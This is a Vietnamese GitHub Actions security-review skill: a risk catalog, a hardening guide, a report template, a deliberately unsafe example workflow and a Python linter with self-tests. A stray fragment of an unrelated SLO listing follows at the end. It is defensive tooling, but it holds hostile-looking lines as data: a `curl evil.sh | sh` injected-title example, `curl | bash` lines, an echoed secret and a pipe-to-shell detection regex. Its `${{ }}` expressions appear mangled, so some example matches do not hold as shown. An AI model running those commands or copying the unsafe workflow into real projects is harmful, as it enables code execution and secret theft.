Yêu cầu cung cấp các tệp luồng công việc (hoặc đường dẫn kho mã nguồn) và bối cảnh: kho công khai hay riêng tư, các bản fork có được phép mở pull request hay không, có những biến bí mật (secrets) và môi trường (environments) nào, và có sử dụng self-hosted runner hay không. Các luồng công việc được kích hoạt bởi `pull_request_target`, `issue_comment`, `issues`, `workflow_run` hoặc `discussion` cần được soi kỹ nhất vì chúng chạy cùng với secrets của kho mã nguồn trên các sự kiện mà người ngoài có thể tự tạo ra.

### 2. Chạy công cụ kiểm tra (linter)
```
python3 scripts/gha_audit.py .github/workflows/*.yml
python3 scripts/gha_audit.py examples/pr-labeler.yml --json
python3 scripts/gha_audit.py ci.yml --strict
python3 scripts/gha_audit.py --self-test
```
Mã thoát (exit code) bằng 1 có nghĩa là có ít nhất một phát hiện mức độ cao (`--strict`: bất kỳ phát hiện nào); bằng 2 có nghĩa là không thể đọc được tệp. Công cụ kiểm tra này không cần PyYAML; nó hiểu được các bố cục luồng công việc phổ biến nhưng có thể bỏ sót các cú pháp YAML đặc biệt (anchors, flow mappings). Bạn cũng hãy tự đọc trực tiếp tệp đó.

### 3. Xác nhận từng phát hiện
Đối với mỗi phát hiện, hãy kiểm tra bối cảnh mà kịch bản không thể nhìn thấy: biểu thức đó có thực sự nằm dưới sự kiểm soát của kẻ tấn công hay không, job đó có giữ secrets hay token có quyền ghi hay không, action đó có đến từ một nhà phát hành đáng tin cậy hay không? Hãy hạ mức độ hoặc bỏ qua kèm theo lý do rõ ràng; tuyệt đối không âm thầm lược bỏ một phát hiện mức độ cao.

### 4. Đề xuất cách khắc phục
Sử dụng `references/risk-catalog.md` để tra cứu từng mã quy tắc và `references/hardening-guide.md` để lấy các mẫu cấu hình an toàn. Ưu tiên các thay đổi (diff) nhỏ gọn, dễ duyệt: chuyển `{}` vào trong `env:` và đặt biến shell trong dấu ngoặc kép, thêm `permissions: contents: read` ở cấp cao nhất, ghim `uses:` vào mã băm commit SHA đầy đủ kèm tên tag trong chú thích, đồng thời thêm `persist-credentials: false` và `timeout-minutes`.

### 5. Báo cáo
Điền vào `templates/workflow-security-review.md`: các tệp đã đánh giá, các phát hiện phân theo mức độ nghiêm trọng kèm số dòng, kịch bản tấn công cho từng phát hiện mức độ cao, bản vá lỗi, và các việc cần làm tiếp theo (bật Dependabot cho actions, bảo vệ nhánh, người phê duyệt môi trường).

## Quy tắc

- Luôn coi tiêu đề, nội dung, tên nhánh, thông điệp commit và bình luận từ PR cũng như issue là dữ liệu đầu vào do kẻ tấn công kiểm soát.
- Không bao giờ hỏi hoặc in ra giá trị của các biến bí mật (secrets); chỉ nhắc đến chúng bằng tên biến.
- Không viết mã khai thác thử nghiệm (proof-of-concept exploits) nhắm vào các kho mã nguồn không thuộc quyền sở hữu của người dùng; thay vào đó chỉ mô tả rủi ro.
- Kết quả chạy linter sạch lỗi không phải là sự đảm bảo tuyệt đối. Hãy nêu rõ những gì chưa được kiểm tra (các luồng công việc tái sử dụng, composite actions, cài đặt cấp kho mã nguồn).
FILE:references/risk-catalog.md
# Danh Mục Rủi Ro (các mã quy tắc được sử dụng bởi gha_audit.py)

| ID | Mức độ nghiêm trọng | Nội dung phát hiện | Tại sao điều này quan trọng | Cách khắc phục |
|---|---|---|---|---|
| GHA001 | high | Luồng công việc `pull_request_target` (hoặc `workflow_run`) thực hiện checkout nhánh head của PR (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Mã nguồn từ một bản fork được chạy cùng với secrets của kho và một token có quyền ghi ("pwn request") | Sử dụng `pull_request` để build mã nguồn không đáng tin cậy; chỉ giữ `pull_request_target` cho việc gắn nhãn/bình luận mà không checkout mã nguồn PR |
| GHA002 | high | Biểu thức `{}` không đáng tin cậy nằm bên trong `run:` hoặc `script:` của `github-script` (tiêu đề hoặc nội dung issue/PR, nội dung bình luận, head ref, thông điệp commit, tên/email tác giả, tên trang) | Văn bản được dán trực tiếp vào kịch bản trước khi thực thi, do đó một tiêu đề như `"; curl evil.sh | sh #` sẽ bị chạy thành lệnh | Truyền giá trị qua `env:` và sử dụng `"$TITLE"` trong shell |
| GHA003 | medium (low đối với `actions/*`, `github/*`) | `uses: owner/repo@v4` được ghim vào một tag | Các tag có thể bị trỏ sang commit khác; một action bị xâm phạm sẽ đưa mã độc vào quá trình build của bạn | Ghim vào mã băm commit SHA đủ 40 ký tự, giữ lại tên tag trong phần chú thích, để Dependabot tự động cập nhật |
| GHA004 | high | `uses:` trỏ tới một nhánh (`@main`, `@master`) hoặc không có ref | Mỗi lần chạy sẽ kéo bất kỳ mã nào đang nằm trên nhánh đó vào thời điểm hiện tại | Ghim vào một mã băm commit SHA |
| GHA005 | medium | Không khai báo `permissions:` ở cấp luồng công việc và cũng không khai báo trên tất cả các job | Biến `GITHUB_TOKEN` sẽ nhận quyền mặc định của kho mã nguồn, thường là quyền đọc/ghi trên mọi phạm vi | Thêm `permissions: contents: read` ở đầu tệp và chỉ cấp thêm quyền theo từng job cụ thể |
| GHA006 | high | `permissions: write-all` | Mọi phạm vi quyền đều có thể bị ghi bởi bất kỳ bước nào | Chỉ liệt kê đúng những phạm vi quyền thực sự cần thiết |
| GHA007 | high / medium | `{ secrets.X}` nằm trực tiếp bên trong lệnh `run:` (mức high khi được echo hoặc in ra) | Giá trị bí mật bị lưu lại trong lịch sử shell, danh sách tiến trình, nhật ký (logs), hoặc văn bản bị chèn | Ánh xạ biến bí mật vào `env:` và đọc qua `$X`; tuyệt đối không echo giá trị này |
| GHA008 | medium | `curl ... \| bash` hoặc `wget ... \| sh` | Thực thi mã từ xa chưa được xác minh cùng với token và secrets của job | Tải xuống, kiểm tra mã băm (checksum) hoặc chữ ký số, sau đó mới chạy; hoặc sử dụng một action đã được ghim cứng |
| GHA009 | medium | Sử dụng `self-hosted` runner trong một luồng công việc được kích hoạt bởi `pull_request` hoặc `pull_request_target` | Mã nguồn từ bản fork có thể bám trụ lại trên máy chủ và tấn công các job chạy sau đó | Sử dụng runner do GitHub lưu trữ hoặc runner dùng một lần (ephemeral) cho PR; yêu cầu phê duyệt đối với người đóng góp bên ngoài |
| GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Kích hoạt lại các lệnh `set-env`/`add-path` đã bị loại bỏ, vốn có thể bị kích hoạt thông qua kết quả in ra log | Xóa cấu hình này; ghi trực tiếp vào `$GITHUB_ENV` và `$GITHUB_PATH` |
| GHA011 | low | `actions/checkout` không có `persist-credentials: false` | Token vẫn lưu lại trong `.git/config` ở mọi bước tiếp theo và trong bất kỳ artifact nào được tải lên | Thêm `persist-credentials: false` trừ khi có bước phía sau cần thực hiện lệnh push |
| GHA012 | low | Job không có cấu hình `timeout-minutes` | Một job bị treo hoặc bị lạm dụng có thể chạy suốt 6 giờ làm tiêu tốn số phút miễn phí/trả phí của bạn | Thêm thời gian chờ tối đa hợp lý (ví dụ: 15-30) |
| GHA013 | low | `docker://image:tag` không có mã băm `@sha256:` | Các tag của image có thể bị ghi đè | Ghim cố định dạng `docker://image@sha256:<digest>` |
| GHA014 | medium | Luồng công việc `workflow_run` sử dụng `actions/download-artifact` | Các artifact sinh ra từ lần chạy do bản fork kích hoạt đều nằm dưới sự kiểm soát của kẻ tấn công | Coi nội dung artifact là dữ liệu thuần túy: kiểm tra tính hợp lệ, tuyệt đối không thực thi; tránh giải nén trực tiếp vào thư mục làm việc |

## Hướng dẫn phân loại mức độ nghiêm trọng
- **high**: người bên ngoài nhiều khả năng có thể chạy mã tùy ý cùng với secrets hoặc token có quyền ghi, hoặc một tham chiếu có thể thay đổi đang kiểm soát quá trình build.
- **medium**: lỗ hổng trong việc gia cố bảo mật khiến cho việc xâm phạm trở nên dễ dàng hơn hoặc gây hậu quả lớn hơn.
- **low**: thực hành tốt nên áp dụng; hãy sửa khi có dịp chỉnh sửa tệp đó.
FILE:references/hardening-guide.md
# Hướng Dẫn Gia Cố Bảo Mật (Hardening Guide)

## 1. Truyền văn bản không đáng tin cậy thông qua biến môi trường (env), không dùng biểu thức trực tiếp
```yaml
# unsafe
- run: echo "Title: { github.event.pull_request.title}"
# safe
- env:
    PR_TITLE: { github.event.pull_request.title}
  run: echo "Title: $PR_TITLE"
```
Luôn đặt biến trong dấu ngoặc kép. Trong `actions/github-script`, hãy đọc `context.payload.pull_request.title` trực tiếp trong JavaScript thay vì nội suy `{}` vào trong kịch bản.

## 2. Token theo nguyên tắc đặc quyền tối thiểu
```yaml
permissions:
  contents: read          # workflow default
jobs:
  label:
    permissions:
      pull-requests: write  # only this job can label
```
Đồng thời hãy đặt quyền mặc định của kho mã nguồn thành chỉ đọc (Settings > Actions > General > Workflow permissions).

## 3. Ghim các action vào mã băm commit SHA
```yaml
- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
```
Bật Dependabot cho hệ sinh thái `github-actions` để các mã băm đã ghim nhận được các PR cập nhật kèm theo nhật ký thay đổi (changelog). Ưu tiên sử dụng các action từ những nhà phát hành đã được xác minh và đọc kỹ mã nguồn của các action nhỏ từ bên thứ ba trước khi đưa vào sử dụng.

## 4. Tách biệt công việc có đặc quyền và không có đặc quyền
- Luồng công việc `pull_request`: thực hiện build và kiểm thử mã nguồn từ bản fork mà không có secrets và chỉ dùng token có quyền đọc; tải kết quả lên dưới dạng một artifact.
- Luồng công việc `workflow_run`: chạy nối tiếp sau đó cùng với secrets, tải artifact xuống, coi nội dung đó là dữ liệu không đáng tin cậy (chỉ phân tích cú pháp JSON, tuyệt đối không thực thi), rồi đăng bình luận hoặc gắn nhãn.

## 5. Checkout và thông tin xác thực
- Đặt `persist-credentials: false` trên `actions/checkout` trừ khi job đó cần thực hiện lệnh push.
- Tuyệt đối không checkout mã nguồn của PR trong `pull_request_target`; nếu bắt buộc phải checkout (ví dụ công cụ gắn nhãn cần đọc tệp cấu hình), chỉ checkout nhánh đích (base branch).

## 6. Runners và các giới hạn
- Self-hosted runners: chỉ dùng cho các kho mã nguồn riêng tư, hoặc phải là dạng dùng một lần (ephemeral - mỗi VM chỉ chạy một job rồi hủy) và không có quyền truy cập mạng vào các hệ thống nội bộ.
- Đặt `timeout-minutes` trên mọi job; cấu hình nhóm `concurrency` cho các luồng triển khai (deploy).

## 7. Secrets và các môi trường (environments)
- Đặt thông tin xác thực dùng để triển khai vào trong một môi trường (environment) có yêu cầu người phê duyệt bắt buộc và quy tắc giới hạn nhánh.
- Ưu tiên sử dụng OIDC (`id-token: write`) thay cho các khóa đám mây dài hạn.
- Che giấu các giá trị phái sinh bằng `::add-mask::` trước khi in ra bất kỳ nội dung nào giống như dữ liệu bí mật.

## Danh sách kiểm tra khi đánh giá
1. Những sự kiện kích hoạt (triggers) nào có thể bị người bên ngoài kích hoạt?
2. Token có thể ghi vào những đâu, và những biến bí mật (secrets) nào có thể tiếp cận được từ các sự kiện kích hoạt đó?
3. Có văn bản nào do kẻ tấn công kiểm soát bị nội suy trực tiếp vào kịch bản hay không?
4. Mọi khai báo `uses:` đã được ghim vào mã băm SHA hay chưa?
5. Có đoạn mã từ xa nào được thực thi mà không qua xác minh hay không?
FILE:templates/workflow-security-review.md
# Đánh Giá Bảo Mật GitHub Actions - <repository>

**Ngày:** <YYYY-MM-DD>  **Người đánh giá:** <name>  **Các tệp:** <.github/workflows/...>
**Chế độ hiển thị kho:** <public/private>  **Cho phép PR từ bản fork:** <yes/no>  **Self-hosted runners:** <yes/no>
**Công cụ kiểm tra:** `gha_audit.py` -> <n> high, <n> medium, <n> low

## Các phát hiện mức độ cao (High)
| Quy tắc | Tệp:dòng | Vấn đề | Kịch bản tấn công | Cách khắc phục |
|---|---|---|---|---|
| | | | | |

## Các phát hiện mức độ trung bình và thấp (Medium & Low)
| Quy tắc | Tệp:dòng | Vấn đề | Cách khắc phục |
|---|---|---|---|
| | | | |

## Các phát hiện đã loại trừ
- <quy tắc, tệp:dòng> - <lý do không thể khai thác trong trường hợp này>

## Bản vá đề xuất
```diff
<minimal diff>
```

## Những hạng mục không nằm trong phạm vi đánh giá này
- Các luồng công việc tái sử dụng (reusable workflows) và các composite action được gọi từ những tệp này
- Cài đặt cấp kho mã nguồn và cấp tổ chức (quyền mặc định của token, phê duyệt PR từ bản fork, cấu hình môi trường)

## Các việc cần làm tiếp theo
- [ ] Bật Dependabot cho hệ sinh thái github-actions
- [ ] Đặt quyền mặc định của luồng công việc thành chỉ đọc (read-only)
- [ ] Yêu cầu người phê duyệt đối với môi trường production
FILE:examples/pr-labeler.yml
# Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file):
#   GHA001 high   line 21 - pull_request_target checks out the PR head
#   GHA002 high   line 24 - PR title pasted into run (script injection)
#   GHA007 high   line 25 - secret echoed in run
#   GHA004 high   line 27 - third-party action on @main
#   GHA005 medium line 1  - no permissions block at workflow or job level
#   GHA008 medium line 26 - curl piped to bash
#   GHA012 low    line 16 - job without timeout-minutes
#   GHA003 low    line 19 - actions/checkout@v4 pinned to a tag
#   GHA011 low    line 19 - checkout without persist-credentials: false
name: PR labeler
on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: { github.event.pull_request.head.sha}
      - name: Greet
        run: |
          echo "Thanks for: { github.event.pull_request.title}"
          echo "token={ secrets.LABEL_TOKEN}"
          curl -sSL https://example.com/install.sh | bash
      - uses: someorg/auto-labeler@main
FILE:scripts/gha_audit.py
#!/usr/bin/env python3
"""GitHub Actions workflow security linter (Python 3 standard library only, no YAML library).

Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs
(see references/risk-catalog.md):
  GHA001 pull_request_target/workflow_run + checkout of PR head      high
  GHA002 untrusted { github.event.*} text inside run:/script:    high
  GHA003 uses: pinned to a tag instead of a commit SHA               medium (low for actions/*, github/*)
  GHA004 uses: on a branch (@main/@master) or without a ref          high
  GHA005 no permissions at workflow level or on every job            medium
  GHA006 permissions: write-all                                      high
  GHA007 { secrets.*} inside run: (high when echoed/printed)     high/medium
  GHA008 curl/wget piped to a shell                                  medium
  GHA009 self-hosted runner on pull_request(_target)                 medium
  GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled                     high
  GHA011 actions/checkout without persist-credentials: false         low
  GHA012 job without timeout-minutes                                 low
  GHA013 docker:// image without @sha256 digest                      low
  GHA014 workflow_run + actions/download-artifact                    medium

Usage:
  python3 gha_audit.py .github/workflows/*.yml
  python3 gha_audit.py ci.yml --json
  python3 gha_audit.py ci.yml --strict      # exit 1 on any finding
  python3 gha_audit.py --self-test
Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file.
"""
import argparse
import json
import re
import sys

SEV_ORDER = {"high": 0, "medium": 1, "low": 2}
TRUSTED_OWNERS = {"actions", "github"}
BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"}
UNTRUSTED_EXPR = re.compile(
    r"github\.head_ref"
    r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b"
)
EXPR = re.compile(r"\$\{\{(.*?)\}\}")
SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}")
PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}")
PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b")
PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b")
SHA40 = re.compile(r"^[0-9a-f]{40}$")


def strip_comment(line):
    """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes)."""
    out, q = [], None
    for i, ch in enumerate(line):
        if q:
            if ch == q:
                q = None
        elif ch in "'\"":
            q = ch
        elif ch == "#" and (i == 0 or line[i - 1] in " \t"):
            break
        out.append(ch)
    return "".join(out).rstrip()


def indent_of(s):
    return len(s) - len(s.lstrip(" "))


def parse_lines(text):
    """Return a list of (lineno, indent, content) for non-empty, non-comment lines."""
    rows = []
    for n, raw in enumerate(text.splitlines(), 1):
        s = strip_comment(raw.replace("\t", "  "))
        if s.strip():
            rows.append((n, indent_of(s), s.strip()))
    return rows


def block_end(rows, i):
    """Index after the block owned by rows[i] (all following rows indented deeper)."""
    ind = rows[i][1]
    j = i + 1
    while j < len(rows) and rows[j][1] > ind:
        j += 1
    return j


def key_of(content):
    c = content[2:].lstrip() if content.startswith("- ") else content
    m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c)
    return (m.group(1), c[m.end():].strip()) if m else (None, None)


def triggers(rows):
    trig = set()
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k in ("on", "true"):
            if v:
                trig.update(re.findall(r"[a-z_]+", v))
            else:
                end = block_end(rows, i)
                child = min((rows[j][1] for j in range(i + 1, end)), default=None)
                for j in range(i + 1, end):
                    if rows[j][1] == child:
                        ck, _ = key_of(rows[j][2])
                        if ck:
                            trig.add(ck)
                        elif rows[j][2].startswith("- "):
                            trig.add(rows[j][2][2:].strip())
    return trig


def audit_text(text, path="workflow.yml"):
    rows = parse_lines(text)
    findings = []

    def add(rule, sev, line, msg):
        findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg})

    trig = triggers(rows)
    privileged = trig & {"pull_request_target", "workflow_run"}
    pr_triggers = trig & {"pull_request", "pull_request_target"}

    top_perm = None
    jobs_idx = None
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k == "permissions":
            top_perm = (n, v)
        if ind == 0 and k == "jobs":
            jobs_idx = i
    if top_perm and top_perm[1].strip("'\"") == "write-all":
        add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes")

    # jobs
    jobs = []
    if jobs_idx is not None:
        end = block_end(rows, jobs_idx)
        child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None)
        for j in range(jobs_idx + 1, end):
            if rows[j][1] == child and key_of(rows[j][2])[0]:
                jobs.append((j, block_end(rows, j)))
    jobs_with_perm = 0
    for (js, je) in jobs:
        jname = key_of(rows[js][2])[0]
        jind = rows[js][1]
        direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else []
        dkeys = {key_of(r[2])[0]: r for r in direct}
        if "permissions" in dkeys:
            jobs_with_perm += 1
            if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all":
                add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all")
        if "timeout-minutes" not in dkeys and "uses" not in dkeys:
            add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)")
        if "runs-on" in dkeys:
            ro_i = rows.index(dkeys["runs-on"])
            ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)])
            if "self-hosted" in ro_text and pr_triggers:
                add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner")
    if top_perm is None and (not jobs or jobs_with_perm < len(jobs)):
        add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default")

    # line-level checks
    i = 0
    while i < len(rows):
        n, ind, c = rows[i]
        k, v = key_of(c)
        if k in ("run", "script"):
            end = block_end(rows, i)
            body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else []
            body += [(r[0], r[2]) for r in rows[i + 1:end]]
            for bn, bt in body:
                for m in EXPR.finditer(bt):
                    expr = m.group(1).strip()
                    if UNTRUSTED_EXPR.search(expr):
                        add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env")
                for m in SECRET_EXPR.finditer(bt):
                    if PRINT_CMD.search(bt):
                        add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:")
                    else:
                        add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead")
                if k == "run" and PIPE_SHELL.search(bt):
                    add("GHA008", "medium", bn, "remote script piped straight into a shell")
            i = end
            continue
        if k == "uses":
            ref = v.strip("'\"")
            if ref.startswith("./"):
                pass
            elif ref.startswith("docker://"):
                if "@sha256:" not in ref:
                    add("GHA013", "low", n, f"{ref} is not pinned to an image digest")
            else:
                name, _, at = ref.partition("@")
                owner = name.split("/")[0].lower()
                if not at or at.lower() in BRANCH_REFS:
                    add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA")
                elif not SHA40.match(at):
                    sev = "low" if owner in TRUSTED_OWNERS else "medium"
                    add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA")
                if name.lower().startswith("actions/checkout"):
                    # the step block: siblings at this indent (after '- ') and deeper
                    step_ind = ind + 2 if c.startswith("- ") else ind
                    j = i + 1
                    j0 = i
                    while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind:
                        j0 -= 1
                    while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")):
                        j += 1
                    step = " ".join(r[2] for r in rows[j0:j])
                    if not re.search(r"persist-credentials:\s*['\"]?false", step):
                        add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false")
                if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig:
                    add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data")
        if privileged and PR_HEAD_REF.search(c):
            add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available")
        if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I):
            add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path")
        i += 1

    findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"]))
    return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings}


def to_markdown(results):
    out = ["# GitHub Actions security audit", ""]
    tot = {"high": 0, "medium": 0, "low": 0}
    for r in results:
        for f in r["findings"]:
            tot[f["severity"]] += 1
    out.append(f"**Files:** {len(results)}  **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low")
    for r in results:
        out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""]
        if not r["findings"]:
            out.append("No findings.")
            continue
        out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"]
        for f in r["findings"]:
            msg = f["message"].replace("|", "\\|")
            out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |")
    return "\n".join(out)


SAFE = """name: CI
on:
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
        with:
          persist-credentials: false
      - name: Test
        env:
          PR_TITLE: { github.event.pull_request.title}
        run: |
          echo "Testing $PR_TITLE"
          make test
"""


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    def rules(text):
        return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]]

    ok("safe workflow has no findings", rules(SAFE) == [])
    ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"])
    ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"])
    inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"')
    ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj))
    ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}")))
    ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |")
                                                                      .replace("make test", "core.info('{ github.event.comment.body}')")))
    ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE)))
    ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == [])
    ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4")))
    ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1")))
    ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main")))
    ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == [])
    ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n  contents: read\n", "")))
    ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n  contents: read\n", "").replace("    timeout-minutes: 15\n", "    timeout-minutes: 15\n    permissions:\n      contents: read\n")) == [])
    ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n  contents: read", "permissions: write-all")))
    ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}")))
    ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}")))
    ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash")))
    ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]")))
    ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == [])
    ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true")))
    ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace("        with:\n          persist-credentials: false\n", "")))
    ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace("    timeout-minutes: 15\n", "")))
    ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20")))
    prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}")
    ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt))
    ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}"))))
    wr = SAFE.replace("pull_request:", "workflow_run:\n    workflows: [CI]").replace("      - name: Test", "      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n      - name: Test")
    ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr))
    ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"')
    md = to_markdown([audit_text(inj, "ci.yml")])
    ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md)
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.")
    ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.files:
        ap.error("at least one workflow file required (or --self-test)")
    results = []
    for p in a.files:
        try:
            text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read()
        except OSError as e:
            print(f"error: {e}", file=sys.stderr)
            return 2
        results.append(audit_text(text, p))
    print(json.dumps(results, indent=2) if a.json else to_markdown(results))
    allf = [f for r in results for f in r["findings"]]
    if any(f["severity"] == "high" for f in allf) or (a.strict and allf):
        return 1
    return 0


if __name__ == "__main__":
    sys.exit(main())
SecurityDevOpsYAML+2
F@f
0
Công Cụ Tính Ngân Sách Lỗi và Tốc Độ Tiêu Hao SLO
Kỹ năng

Chuyển đổi số lượng yêu cầu thành các chỉ số trả lời cho SLO: SLI, ngân sách lỗi cho khung thời gian 28 ngày hoặc 30 ngày, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao (burn rate) trong khoảng từ 5 phút đến 3 ngày, cảnh báo tốc độ tiêu hao đa khung thời gian (gọi trực khẩn cấp ở mức 14.4x và 6x, tạo ticket ở mức 3x và 1x, được quy đổi theo khung thời gian), và thời gian cho đến khi cạn kiệt ngân sách. Sử dụng khi thiết lập SLO, tinh chỉnh cảnh báo, quyết định đóng băng phát hành hoặc viết tóm tắt sự cố. Bao gồm một công cụ tính bằng Python dùng thư viện chuẩn với tùy chọn --self-test.

---
name: slo-error-budget-burn-rate-calculator
